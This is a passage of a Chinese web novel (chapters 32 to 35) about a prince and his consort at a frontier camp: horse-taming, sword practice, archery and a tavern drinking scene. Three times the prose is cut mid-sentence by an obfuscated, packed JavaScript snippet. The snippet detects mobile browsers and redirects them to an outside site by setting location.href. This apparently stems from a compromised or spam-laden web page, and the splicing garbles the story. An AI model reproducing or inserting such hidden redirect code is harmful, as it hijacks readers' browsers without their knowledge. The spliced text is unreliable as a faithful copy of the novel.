养马的军士称赞道:“王妃真是好眼力。这匹马耳小眼大胸膛阔、蹄坚骨秀形如鹤,是上上品。只是性子顽劣。如果是王妃骑的话,还是换一匹温顺一些的好。殿下挑的那三匹就很适合王妃。” “就这匹吧,本宫只看上了这匹。”叶岚摸着马儿的头,但那马却很抗拒的不断仰头。 “是、是。王妃是女中豪杰,定能驯服这匹烈马。属下这就去配马鞍。”说完行礼告退,牵着马去佩戴马鞍。 马被牵回,冷逸尘骑了一圈,回来对叶岚说:“确是匹烈马,不要着急骑。你先和它相处一段时间,等熟悉了再试试。” 叶岚很是高兴:“那我今日便留下来照顾它。” 冷逸尘将缰绳交到叶岚手里,马儿却开始抬头鸣叫踢前腿,冷逸尘忙拽住缰绳。 “给我吧,我会驯服它的。”马儿依旧挣扎,叶岚费了好大力气才拉住缰绳。在冷逸尘的帮助下叶岚拉着它走几圈。 边走冷逸尘边说:“我还有一些事务要处理,这几日要住在中堂。你住院子我已令侍卫在外保护,以后泽生便跟着你。” “好。” “军营中除了营区,你随意去哪里都可以。但若想出军营,就遣人来告诉我,我带你出去。” “好。” “我为你准备了几身深色的衣服,适合骑马穿。浅色衣服在这里太显眼,容易引起别人注意。虽然在军营里,但我不能时时在你身边,还是安全重要。” “好。” “我最近事务颇多,你自己一切小心。还有剑术,你先把前几日学的练熟。我抽空再教你新的。” 叶岚听着他絮叨,只觉得想笑。她说道:“你何时变得这般啰嗦的了?你住了地方才离我几步远?我自会安排好一切,驯服这匹马,练好剑,争取也做个巾帼公主,有能力自己保护自己,不让你这般担心。” “巾帼公主”几个字不由得让冷逸尘心揪了一下,冷逸尘抚着她被缰绳勒红的手,很认真的说:“我只想你做我的王妃。” “傻瓜,我就是你的王妃啊。”叶岚笑吟吟的牵着马继续前行。 这里的一切对于叶岚来说,处处有新意,她未能体会到冷逸尘的心情。 32. 明月共潮生 冷逸尘也快步跟上。穿过一片草滩,大海豁然出现在眼前。 叶岚不禁快走了几步,在沙滩上停下。看着海面竟然有几分失落:“怎么不一样呢?” “什么不一样?” “和诗文里的不一样,和想象的不一样。曹孟德有诗云‘水何澹澹、山岛竦峙’、‘秋风萧瑟、洪波涌起’。这里的海怎么像湖面一样平静。” “现在没有风,所以浪很小,显得平静。再过些时日,秋风起时,白浪滔天,是很壮观,但是也很危险。” 说话间,有人来报,说军中有要务。 冷逸尘不得不离开了,他用布条将叶岚的手仔细包好,又低头吻了她的指尖,恋恋不舍的说道:“注意安全,有事就来找我。” 叶岚点点头。 此后,叶岚每日上午训马,午间休息,下午练剑,傍晚去海边散步,日子过得倒也合她的心意。 对于大海,她似乎永远也看不够,每日晚饭后必然要去看一看,必然要等到太阳下山后才回去。 出了山海居,泽生便跟在叶岚左右。依旧不停的碎碎念,凌乱的说着冷逸尘的往事。 “公主可能不相信,以前殿下从未主动杀过一个人,即使是在战场上。” “公主的话怎么和殿下一样少?不过自从殿下成亲以后话就多起来了。” “大战之前他负伤,就是因为未对敌人下狠手,让敌人有了可乘之机。” “皇后娘娘总是责备殿下心慈面软。可属下却觉得殿下本就是良善之人,这一点从没变过。” “他救助了很多人,之前清和轩里的婢女们都是他从战场上救下来的。” “公主您倒是说句话呀。” “自长右山回来到现在,殿下从未上过真正的战场,巡边是为了远离朝政、安抚边塞、安置流民。” “殿下在军中都是配刀,从不用他的那把剑。” 叶岚默默的听着,忽而理解了冷逸尘为什么那么怀念长右山,或许他本来就该属于长右山。 叶岚抚着马儿的鬃毛,说了一句:“他本不该在这里。” 泽生点点头,十分认同。 叶岚给马儿取了个名字,叫“珍珠”。 泽生嫌弃这个名字起的太过华丽富贵:“这是战马,就应该起个霸气的名字。” 叶岚解释:“这是匹母马,就像小姑娘一样,要有个好听的名字。” 泽生继续嫌弃:“如果是个姑娘,也是个泼辣的姑娘。” 叶岚只是笑笑,未理会他。她亲自给马儿刷洗、喂食、散步。她喜欢牵着马到海边,拿出水果喂给马儿。 第三日她就骑上了马背。开始还是由泽生牵着走,后来便自己拉着缰绳慢慢走,马蹄越走越快,渐渐小跑起来,最后驰骋起来。 这是叶岚第一次独自骑战马奔驰,刚开始心下还很恐惧,但很快她就适应了马儿的节奏。 风在耳边呼啸,两边的风景迅速向后退去,她喜欢这种快要飞起来的感觉。 傍晚,她依旧来到海边,坐在礁石山看着云霞满天。晚霞映在在海面上,真正的海天一色,任何的诗文都不能写出如此美丽的景象。 此刻她心中很感谢冷逸尘。也不知道他现在在做什么,几日都未看见他了,也不知道他有没有在想自己。 思念如同潮水一般涨落,明明他也在大营,可却似隔着银河一般遥远。 一件斗篷从身后披来,接着是冷逸尘的声音:“天气凉了,当心些。” 叶岚心中一喜,回头便看见了刚刚思念之人。只见他一袭月青白色长衫,负剑而立。风姿清逸、俊若修竹。 叶岚难掩喜悦,好想去拥抱他,一想到在外面,还是克制住了。欣喜难抑,嘴角不自觉的上扬。 但她随即又想到不要穿浅色衣服,忙说到:“怎么穿这样浅色衣服,很危险。” 冷逸尘笑道:“没关系,你喜欢。我来试试你的剑术如何了。”说完递出叶岚的那把剑。 叶岚接过剑,二人比试了几招。冷逸尘很满意:“不错,熟练了很多,再来。” 一番攻守后,太阳已沉到了海面之下,周围暗了起来。 二人坐在石头上看月亮,今日的月亮不圆,但是很亮,一道长长的月影随海浪波动。 冷逸尘握着叶岚的手:“这么好看的手却长了茧子……我听闻你这几日食的少,还是不习惯吧。” “一切都好,只是这几日秋燥,没有胃口。梧桐、秋雨她们终究不如云琴那般有条理,做事难免疏漏,山海居的一些琐事还要我自己安排。不过也还好,只是劳心些。” 在这里,衣食上虽然不如从前,但冷逸尘给她安排的已经是最好的了,她不愿再给他添麻烦。 冷逸尘又是歉意:“真是让你受苦了。婢女的事是我疏忽了,她们都不是宫中调教出来的,做事是粗笨些。只想着她们可靠,却忽略了这一点。” “我也没觉得有多苦。人可靠些还最要紧的。”她换了个话题,问道:“我的剑术怎么样?” “这方面像师兄,很有天赋。” “他的剑术好还是你的剑术好。” 冷逸尘略带骄傲:“当然是我的。” “你倒是不谦虚。” “毕竟我入师门三年,他才一年,若我不如他,那真是笨到家了。” “那我真是拜了个好师傅……冷逸尘……谢谢你。”叶岚看着他,郑重的道谢。 “谢什么?” “现在的生活真的很开心,我很喜欢。谢谢你为我做的一切……这里真好,真想一直在这里。” “人本来就该是自由的,乘兴而去、尽兴而归。只是我们都背负了枷锁。我所做的也只是暂时卸掉我们都枷锁而已。我也很想永远这样下去,可有些事……我放不下……” “不,我没有要求你放下,你是祁国皇子,应该肩负皇子的责任。我也知道在这里的只是暂时的,但我已经很满足了。那日在河边你说要与我朝朝暮暮……我只盼着能与你朝朝暮暮复年年,年年岁岁复此生。” 冷逸尘心满意足,他将她揽进怀里,柔声说道:“好,年年岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073876|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁复此生……事情都处理的差不多了,明日我搬回去住。” “好,我回去便给你打扫卧房,明日再晒一晒被子……” 冷逸尘俯下头来,用唇将她的话堵了回去,口齿不清的说道:“不用,我和你一起住……” 叶岚很高兴冷逸尘搬回山海居,第二日她没有去骑马,好好将院子里外收拾一番。 她觉得书房太过朴素了,此处大概买不到书画装饰、也没有精致的鲜花装点,她便打算自己画一些。 梅兰竹菊这些并不适合这里,她觉得山河图更合适。 晚间冷逸尘归来时,叶岚还在画着。图中画了山,可这海浪却不知如何下笔。 她边画边想象着和冷逸尘一起在海边策马,二人身着红色的衣衫,看着海鸥两两在一起嬉戏……想着想着不觉笑出了声。 “想什么呢?这么开心。” 冷逸尘突然进来,叶岚吓了一跳。她慌忙掩饰:“没什么……这海浪画不好……” 冷逸尘坐在她身畔,拿过她的笔说道:“我来,你休息会……海浪随风,比云还难画。等过些时日,我们一起出海,去海上看晚霞……海里还有水母,有的很大很大,比铜盆还要大上一圈……” 冷逸尘一手执笔一手揽着叶岚,好一对才子佳人,意笃情深。 叶岚闻到他身上的茉莉香气,也注意到他特地换了浅色衣服,甚是心悦。 二人离的太近,冷逸尘的鼻吸落到叶岚的脖颈间,让她一阵悸动。心中意乱,脸颊变得火热起来,像喝了酒一般。 叶岚低头,用手摸了摸脸。 冷逸尘看出异样,放下手中的笔,抬手去摸她的额头,问道:“脸怎么这样红,发烧了吗?是不是昨日海边太冷了……” 叶岚小声掩饰:“没有……” 冷逸尘将画好的图拿起来,轻轻吹了吹放在一边。下面的纸上有叶岚写的字,是宋玉的《高唐赋》。 他拿起来赞道:“这字写的很不错……”接着便念起来:“妾,巫山之女也,为高唐之客,闻君游高唐,愿荐枕席……” 叶岚顿觉羞涩不已,伸手去夺。冷逸尘已从中看出她旖旎的心思,他亦是满心欢喜,便要故意逗一逗她。 于是将纸拿远一些,让她拿不到。叶岚坐直身子,一不小心失了重心,向前扑去,被冷逸尘一把揽住了腰身。 叶岚不饶的说道:“快还给我。”冷逸尘在她腰身上挠了一下,叶岚立即痒的缩成一团。 “原来你的罩门在这里。”冷逸尘笑着说道,然后又挠了两下。 叶岚痒的身体发抖,挣扎起来,好似一条上了岸的鱼。冷逸尘并不松手,二人双双倒在了软垫上。 冷逸尘看着叶岚眼睛,乱了呼吸。 叶岚再也按捺不住自己的心,伸手搂住冷逸尘的脖子,低语:“我很想你……你有没有……想我……”说着亲吻了他的眼睛、然后是鼻子、然后是嘴唇。 当她的唇刚想离开,冷逸尘便狠狠的、热烈的吻了回去。 良宵夜苦短,贪欢不觉晓。 33. 相思难言诉 次日,叶岚醒来,身侧又是空荡荡。 叶岚叹了口气,起身看见案几上的山河图已经完成了,海浪汹涌澎湃,她很是满意。图旁边还有一张字条。 “叶岚卿卿如晤,见信展颜。 晨起见你睡意正浓,未忍相扰。今日起外出巡视,此行约五日。我已着人接安如来此地,与你一起打理山海居,日后不可再劳心至此。天气渐凉,莫忘添衣。晨朝夕暮,思卿念卿。 夫:逸尘亲笔。” 叶岚看着信不自觉的笑了出来,刚才因没有见到他而生的不悦皆消散了。 至于安如,离了梁国,叶岚私下里是视她为长辈。 云琴走后,她给安如写过一封信告知实情,并说她一切安好。 如今安如要来了,叶岚无比开心,生活又多一份期待。 叶岚的马已经骑的很熟练了,剑术自认为也练的很好了。她还想让泽生在海边扎两个稻草人当标靶,练习弓箭。 却被泽生无情的拒绝,理由是她这般瘦弱,肯定连弓弦都拉不开。 叶岚偏不信,等拿到弓时,才发现这是事实,瞬间失望。 泽生不忍看她失落,便说要教她暗器,理由也很充分:“公主殿下不需要去冲锋陷阵,只是要保护自己。暗器轻便易携,是最好的防身武器。” 叶岚想想倒也不错,学会了便可以自己保护自己,有可能的话也可以保护别人。 叶岚算着时间等着。第五日,没有等到归人,她隐隐担忧;第六日,人还未归,她坐卧难安。 终于第七日午后,冷逸尘归来,风尘仆仆。 彼时叶岚正在海边练飞镖,听闻军队归来,便急匆匆的回到山海居,但并未见到冷逸尘,大营那边也没有消息递出。 叶岚隐隐失落和怨怼:他回来怎么不第一时间来见她,他或许还有事情,纵然是有事情,也不遣人来只知会一声。 她又回到海边,对着树干掷飞镖。手上的力度不够,准头也不行,飞镖几乎不能命中。 她最后甚至有些气急,将心中这几日的担忧全化为的怒气,发泄在飞镖上。 身后隐隐传来脚步声,叶岚以为是梧桐,头也未回,不悦的说道:“不是让你离远一些了吗,飞镖可不长眼睛。” “你这样可伤不到我。”冷逸尘的声音在她身后响起。 叶岚回头看见冷逸尘一袭浅色衣衫,手持两把剑。看样子是沐浴更衣后才过来的。 叶岚没好气的说道:“你的意思是我学的不好。” “是泽生教的不好。”说着拿过叶岚手中的飞镖,一出手,“唰”的一声,那枚飞镖便深深嵌入了树干上的红点之中。 叶岚见他掷的如此准确,难免又生失落之感。 冷逸尘转向叶岚,看着她面有愠色,问道:“怎么就生气了?” 叶岚嘴硬道:“我没生气!”说着拿过她的剑拔出:“比试比试,看看我有没有好好学。” 话音未落便将剑向冷逸尘刺去,冷逸尘闪身一躲。叶岚继续出招,冷逸尘剑未出鞘,便一一拆了她的剑招。 飞镖没学好,剑术也没有进益,回来也不告诉她。叶岚越想越气,出剑一招比一招凌厉,想逼着冷逸尘也拔出剑来。 冷逸尘不明所以,只以为她想赢过他,便故意让了她三招。 叶岚见他还故意让着自己,心中更加不平,开始不择手段,直至剑锋抵上冷逸尘的脖颈,叶岚才收了手。 冷逸尘将剑锋拨开:“你赢了。” 叶岚心中怨气却未消一点,收了剑,走向海边的礁石,坐下抱着双膝,将头埋在臂弯里。 冷逸尘随即跟上,坐到她旁边抚着她的背,小心的问道:“今日这是怎么了,这么大的火气。” “怎么这么久才回来?”叶岚不看他。 “遇到山匪,耽搁了时间。” 一听遇到山匪,叶岚心中咯噔了一下,气消了三分,问道:“可有……受伤?” “放心,没有。”冷逸尘说罢,掏出一个纸包,打开里面是一些杏干。 叶岚扭过头去未接,有些懊悔刚才那样对他。 “告诉我,刚才为什么生气?” 叶岚犹豫了,她的情绪向来习惯自己消化。 但看着冷逸尘的不解,她说道:“因为你……”这三个字一出,眼泪也跟着出来:“你说五日就回来,今日已经是第七日了……为什么不给我消息。” 她心中甚是委屈。这几个月来发生了这么多事,让她难免事事都往坏处想。 冷逸尘不知所措:“我怕你担心……” “没有你的消息我会更担心!我不知你在什么地方,不知道你会不会出什么事情。整日的胡思乱想,闭眼全是噩梦,而我却什么也做不了……我知道我这样不对,你一路奔波辛苦,不该朝你发脾气。可是我就是不开心、不高兴,你这样说走就走、说回就回,什么都不让我知道。” 她一股脑将委屈全部说出,说完背过身去,泪如泉涌,心中疼痛。 “是我不好,没顾虑到你的感受。对不起,以后不会这样了……不要生气,好不好?”冷逸尘说着要将她揽进怀中。 她不从,他便用了些力道:“是我不好,让夫人受委屈了,该打。以后我的行程一定如实报备给夫人。” 叶岚伏在他的肩头哭了一会后觉得好了许多,便收了情绪。 冷逸尘为她擦干泪痕,说道:“不哭了,安如应该今日也到,她若看到你这样,还以为我欺负你了。 “你就是欺负我身后无依……”叶岚还未说完,便后悔了:他待她如此,她竟还说出这样的话来伤他。 冷逸尘被这句话刺痛:他本以为他已经成为了她的依靠,可她并没有将他当成依靠。 但是他掩饰了心痛,说道:“先尝尝这个,杏干能保存到这个时节已是很不容易了。” 叶岚也感受到了冷逸尘的语气变化,知道话说重了,但她又不放不下面子去道歉,便拿过一枚杏干吃了。 叶岚转了话题:“我想上城墙上去等安如,那里看得远。” 虽然冷逸尘说了这大营中她去哪里都可以,但她不能坏了规矩,有些地方是不能去的,她活动的范围都是远离军士的地方。 城墙上日夜有军士驻守,所以她一次也没上去过。 冷逸尘点头,起身带她去。 叶岚主动伸手拉上了他的手。她感受到冷逸尘的手颤动了一下,接着又感觉到手被紧紧握住。 他们站到城墙上,沿着城墙一直向西走,向关内看是邻闾城,向关外看则是大片的山地,几无人烟。 叶岚摸着城墙粗粝的石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073877|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条,每一块都见证过历史,她感慨道:“始皇当年振长策御宇内、执敲扑鞭笞天下,使蒙恬北筑长城而守藩篱……长城就是修到了这里吧。” “不是,秦长城自临姚修到了辽东。这几百年来,匈奴不断南侵,中原丢了大片土地,如今也只暂时以临闾关为界。” 叶岚看着这片山河:燕国的将士曾仰望过她头上的天空,秦国的铁骑也曾踏过她脚下的土地。这山河端然常在,恩怨是非都是人事罢了!在霸图残照之中,又留下了多少人的叹息。 登高望远,叶岚的心也开阔了起来,她与冷逸尘这点矛盾在这山河跟前,又算得了什么。 太阳已偏西了,燕子在天空中盘旋集结,过几日就要南飞了。“燕子又要走了……”叶岚说完悄悄看了一眼冷逸尘,诚心诚意又漫不经心的说:“……对不起。” 这前后的突然转折让冷逸尘没有反应过来,待他心中重复了一遍她的话后,才知她在向他道歉。 可他怎么舍得她低头,上前一步握住她的手:“是我做的不好。” 叶岚转向关内眺望,一行车马出现在路上。“是安如来了,我去接她。”说罢提着衣摆快步下了城楼朝着大营门口走去。 车马停下,安如下车,向叶岚和冷逸尘跪拜行礼。 叶岚忙扶起她,说道:“姑姑,你终于来了。” 安如看着叶岚、摸着她的手,不由得皱了皱眉。 冷逸尘将叶岚他们送到山海居门口,说道:“我还有些军务要处理,回来晚些,不用等我了。” 他知她主仆二人许久未见,定要说些体己话,他不便相扰。 叶岚心思都在安如身上,什么也没说,由他去了。 待安如沐浴更衣后,拉着叶岚的手问道:“公主怎么清减了这么多?皮肤这般黯淡,手上怎么还生了这么多老茧?指甲也不染了,还剪的这样短……可是那崇宁王待公主不好?” 叶岚这才明白安如见她时为何皱眉,她现在哪里还有个公主的样子。 叶岚解释:“没有。我每日要骑马、练剑,有好多事情要做。染甲、护肤这些事情太耗时了,梧桐、秋雨她们又不擅长这些,所以就疏忽了。” “奴婢真是后悔,当初公主离京时就应该一起跟来。云琴也是个没心的,说走便走,全然不想着公主。” “我本以为很快就会回去,没想到会出来这么久。云琴,是我让她走的。” 安如嗔怪道:“公主什么事都往自己身上揽。” 她又看了一圈卧房,陈列简单、无甚装饰,不满的说道:“住处这般狭小寒素,真是难为公主了。下车时看着公主衣衫、发饰都这般简单素净,真是心中难受。若娘娘的在天有灵,看见公主受这般委屈,心里该多难受。” 安如提起叶岚的母亲宋春霏来,又伤心的哭了起来。 叶岚亦红了眼圈,安慰到:“姑姑,我哪里就有你说的那般可怜了。我没穿华丽的衣服没带复杂的首饰,是因为这里是边境、是军营,不能太引人注意。我现在这样就很好,比以前任何时候都好,母亲会为我欣慰的。姑姑不要伤心了,以后有姑姑在,姑姑来为我安排。” 安如这才欣慰的拍了拍叶岚的手。 也许是昨日太累了,也许是冷逸尘和安如都在她身边,叶岚心中安定,一夜安眠无梦。 34. 初见江湖气 第二日,叶岚枕边多了一个盒子。盒子下有一张字条,是冷逸尘的字迹:我去巡营了,上午在海边等你。 叶岚打开盒子,里面是一根镶了两颗黑珍珠的银簪。珍珠她只见过白的、粉的、紫的,黑色的倒是头一次见。 叶岚唤人进来服侍,洗漱毕,由安如来为她梳妆。 安如将妆台上的胭脂水粉等一律换上了京中带来的上品。而后为她画了全妆、贴了花钿,又为她挽了一个漂亮的发髻,戴上了花丝嵌玉金发钿。 叶岚又将珍珠发簪簪到了发间。 经过一番装扮,的确比之前精致了许多。 叶岚临走前,安如再三叮嘱:一会太阳晒了就快回来,别把皮肤晒伤了。 她来到海边,看见冷逸尘身着窄袖黑衣,正在挽着一把弓箭。 “我来晚了。”叶岚这番梳妆确实耗费了不少时间。 他揽过叶岚的腰身,低头吻在她额间的花钿上,问道:“今日看起来不一样。” 叶岚四下看看,想推开他,小声说道:“有人。” 冷逸尘笑道:“这里没别人,泽生不在。今日怎么打扮的这般好看。” 听了这话,叶岚反而心生不悦,问道:“以前就不好看了?” “你本该就是这样,如今只是恢复了往昔的神采。” 叶岚抬手摸摸发间的珍珠,问道:“你什么时候送来的?” “晨起,见你睡的安稳,没打扰你。喜欢吗?” 叶岚点点头:“我从来没见到过这个颜色的珍珠。” “珍珠什么颜色的都有,只是这个颜色不常见。泽生说你想学射箭,他怕危险就没答应,今后我教你。试试这把弓。” 叶岚接过弓,试了一下,倒是也没上次那么难。原来是之前泽生故意找了一把一石力弓,让她知难而退了。 叶岚不满:“泽生呢?他是故意不教我,回头再找他算账。” “他去办点事……他也是为你好,弓练不好容易伤到自己。”说着他教叶岚正确的姿势,并射出去了一支箭,正中草人的头部。 叶岚自己接连射了几支都未中。 冷逸尘再次演示,强调要领,安慰道:“这比长剑要难,需反复练习,不要心急。” 叶岚倒是心态平和:“我未心急,功夫这事怎能急于求成,都是要日积月累的。只是我这胳膊有些发酸了。” 待叶岚射出一支箭后,冷逸尘拿过弓,说道:“第一次都这样,今日便到这里吧。我带你去临闾关中转转,可好?” 叶岚自然愿意。 为不引人注目,叶岚回去换了侍女的衣服。重新画了淡妆,头上只簪了珍珠银簪,又戴上了维帽。 见叶岚又要出门,安如心中不悦:昨日的话算是白说了。 辽东满地都是宝,此时正是山货丰收之时,辽东人多来此地贩卖山货。 城中街道两侧皆是山货店,皮毛、药材、干果。客商们挑选货物、探讨价格。这个时节,是临闾关一年中最热闹的时候。 出发时已经不早了,正好赶到城中用午饭。二人牵着马步行,找了一家食店入座。这里没有雅间,来往客商皆忙着赶路或买卖,吃完便走。 店里也只有包子、饺子、大锅炖菜等出锅就能吃的食物。那些工序复杂的菜品一律没有,客人没功夫等,店家也没功夫做。 他二人点了四个包子、两碗蛋花汤。这里的包子着实是太大了,比叶岚的拳头还要大上一圈。 她看着包子不知从哪里下嘴,感叹道:“这里的民风真是朴实……早知道这包子这么大,咱俩要两就够了。” “我们再去吃些别的?”冷逸尘看出来叶岚的不惯:南方是食物皆精致讲究,她哪里见过如此粗犷的食物。 “这个很好。”叶岚拿起一个包子,咬了一口,却没有咬到馅,又咬了一口方才吃到了肉馅。 这时店内来了一行人,落座于他们旁边,点了酒菜后,一个瘦高个说道:“听说这次的武林大比可热闹了。” 武林大比?冷逸尘想:应该是剑宗大比,此时大比应该结束了。 一个大胡子说道:“是啊,一个多月也未比出个第一来。可能大家后来都着急了,不慎出了事故,这才结束了大比……” 一听到此处,冷逸尘抬头向那人看去。 只听那大胡子继续说:“几个门派不欢而散,不知道长右山会不会报仇……” 一听闻“长右山”冷逸尘紧张起来。隔着桌子问道:“这位大哥,你说的可是真的?这其中有何缘故?” “那还有假?俺们从南边贩茶回来,路过崇阳山,听山下人说的?”大胡子边说边打量着他们二人。 “到底发生了什么事?”冷逸尘急切的问道。 “你倒是挺关心。听你的口音也不是本地人啊,出来做生意的?”大胡子说着端着酒碗来到了冷逸尘对面坐下。 叶岚悄悄向冷逸尘身边挪了挪。 “是……来贩些山货。”冷逸尘应付着他。 “来贩山货穿的这般华丽?还带个小娘子……”说着便伸手去掀叶岚的帷帽:“戴个帽子还怎么吃饭啊?” 冷逸尘伸手挡住了大胡子的手,说道:“放肆。” “呦呵?放肆?还没人敢跟老子这样说话呢。”说着便一拳向冷逸尘砸去,冷逸尘用掌接住。 眼看就要打起来,叶岚摘下帷帽,说道:“都住手。人生有缘,相逢即是友。大家都是来做买卖的,和气生财、和气生财……再说,在这里动手,店家的买卖还做不做了?” 二人收了手。 大胡子说道:“还是这个妹子明事理。来,店家,老规矩,拿酒来。” 店里伙计端来一坛酒和三个海碗,将三个碗一一倒满。 大胡子端着酒,对冷逸尘说道:“小兄弟,你不是想知道武林大比的事吗?江湖规矩,喝了这三碗酒,咱们就是朋友了,不,是兄弟。兄弟之间就言无不尽了,哈哈。” 冷逸尘看看叶岚,他不是不敢喝,只是此行他并未带侍卫,此处只有他与叶岚二人。这半碗酒便可将他放倒,到时叶岚怎么办?长右山的事可以再去查,今日决不可冒险。 大胡子见他犹豫,用话激他:“怎么着?堂堂男子汉喝碗酒还得看媳妇脸色?” 冷逸尘不能冒险,对叶岚说道:“我们走……” 大胡子拦住他:“别走啊,酒都倒了,哪有说走就走的道理?” 叶岚接过酒放在桌子上说道:“这位大哥误会了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073878|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家公子头一次出来做生意,不知道规矩。” 大胡子在外行走多年,一看二人谈吐便知非富即贵,便也就坡下驴,说道:“原来是头一次出来,没事,万事开头难嘛。这样,咱哥俩一人一碗,权当交个朋友嘛。” 此时,与大胡子同桌的瘦高个过来坐下,不依不饶的说道:“既然到了道上就得按道上的规矩来,区区几碗酒就被难住?以后可咋混?来来来,喝了。”说罢,便把酒碗重重的放到冷逸尘面前。 众人听了也跟着起哄:“喝、喝……” 冷逸尘刚想伸手去拿。不料叶岚先拿过酒,说道:“我家公子的确不胜酒量,小女子倒是能喝几分。各个大哥,这酒就由我代替了。”说罢端起来开喝。 六寸的海碗,一碗要喝好几口。冷逸尘看着叶岚一口口的将酒咽下,满是心疼与自责,桌子下的手紧紧的抓着衣袍。 叶岚端起第三碗时,冷逸尘阻止她,说道:“不喝了,我们走。” 众人起哄道:“输不起就别玩……真能耐呀!这点酒就不行了……” 叶岚被激到,大声说道:“谁说我不喝了?”说罢,将最后一碗酒一口饮尽,然后将碗口朝下示意全部喝完,说了声:“痛快。” 大胡子看呆了,一声痛快惊醒了他,拍手叫到:“好,大妹子果然是爽快人。” 叶岚也不含糊,招呼伙计过来,扔给他一个钱袋:“大哥那桌饭钱算我家公子的,不用找了。” 伙计颠了颠钱袋,笑道:“姑娘给的钱够这一屋子人的饭钱了。” “那就给在坐的账全结了。” 店里众人皆拍手称好,说着:多谢、多谢。只有店老板狠狠瞪了那伙计一眼。 叶岚对大胡子说道:“大哥,咱借一步说话?” 大胡子意会,起身向店里后院走去。冷逸尘拉着叶岚跟了上去。 后院是栓马存货的地方,大胡子靠着一个麻袋说道:“听说是逍遥宗的弟子不慎杀死了长右宗的弟子,其他几个门派从中调停,此事才没有闹起来。但估计长右宗和招遥宗的梁子算是结下了。也有人说是招遥宗为了报仇、也有人说是招遥宗为了挑起江湖争端……俺也是道听途说,不知真假。俺们也着急赶路,之后的事就没听说了。” “可知死者是谁?可知男女?” “男的,不知道叫什么名字,听说是个小师弟。” 冷逸尘一时想不出是谁,说道:“多谢如实相告。” “都是兄弟了,客气啥。对了,在下赵永山,辽东人。” “在下凌长风,安定人氏。” “原来是京城来的,要不说呢,看着就不是俗人。” 冷逸尘看着叶岚,虽然她神情镇定,但一直未语,眼神飘忽不定。 冷逸尘知她酒劲已经上头。便开口说道:“在下还有事。就此别过,有缘再见。” “好好,有缘再见。”大胡子笑了笑,而后凑近冷逸尘悄悄说道:“兄弟,你家这小娘子可不一般,为了你可真豁的出去。” 冷逸尘眉头紧锁,现在只想快快回去,便又说了声:“告辞。” 他将叶岚扶上马,然后自己也上这匹马。 走时,叶岚还不忘跟大胡子说声:“告辞、告辞。” 35. 荡荡莫能名 叶岚在马背上天旋地转,头沉沉的抬不起来。冷逸尘紧紧拽缰绳,想快行却又不敢。 他自责不已,不停的叫着她的名字,不让她睡过去。叶岚到是能句句有回应,最后她受不了了,直言:“不要说话了,听着头晕,我没事……”冷逸尘这才闭了嘴。 出了城东门不下十里便是大营。到了大营门口,叶岚几乎是翻落下马。冷逸尘一面将她抱回山海居,一面吩咐将军医找来。 安如见叶岚如此归来,惊恐不已。忙吩咐人烧水、煮汤。 叶岚刚被放下,便呕吐起来,众人一阵手忙脚乱。 不多时,军医赶来。安如放下床上的帷幔,将叶岚手用丝帕覆住后,方请军医进来。 军医细细诊过之后只道:“饮酒过量,刚才吐了也是好事,只需熬些葛根菊花水,喝了便好。” 此时的叶岚头晕眼胀,喉咙疼痛,似睡非睡,辗转反侧。迷迷糊糊的喝了一碗葛根水,但随后又全部吐出去了。 一番折腾,她甚是疲乏,又干呕了两次之后,终于稍稍安睡了过去。 众人渐渐散去,房中只剩冷逸尘和安如。 安如整理着叶岚的衣服,问道:“敢问殿下,这军医医术如何?公主体质柔弱,有些药恐怕与公主身体不相宜。” “姑姑放心,军医是本王从京中带来的。此前也一直是他诊治。” 安如这才想起来,怪不得看着眼熟,只是一时慌乱未曾认出。她跪下叩首道:“殿下恕罪,是奴婢多虑了。” “无妨。起来吧。” 安如并未起身,再叩了一首,继续说道:“奴婢有些话,即便今日是得罪了殿下,也要说。公主是奴婢长大的,公主千金之躯,金尊玉贵。此前何曾受过这种罪、遭过这种难。希望殿下能看在公主远嫁而来,又为殿下吃了这么多苦的份上,能善待公主。” 这其中有些事情安如不知道,对冷逸尘也多有误会。冷逸尘并未反驳,的确,是他将叶岚带来到这偏僻苦寒之地,今日所受种种也是因他而起。 他只说道:“今日之事,是本王之失。姑姑放心,本王日后不会再让这样的事情发生。” 此时叶岚似有梦魇,双颦紧蹙,头上渗出细密的汗,安如忙绞了帕子给她擦掉。 叶岚双眸半睁,迷迷糊糊中叫了声“阿娘。” 这一声“阿娘”,让安如红了眼圈,她轻声唤着:“公主,醒醒。” 叶岚缓了片刻,看清了二人。说了句:“姑姑,我饿。” 安如转喜,擦擦眼泪说道:“公主稍安,奴婢去给您做些可口的膳食。” 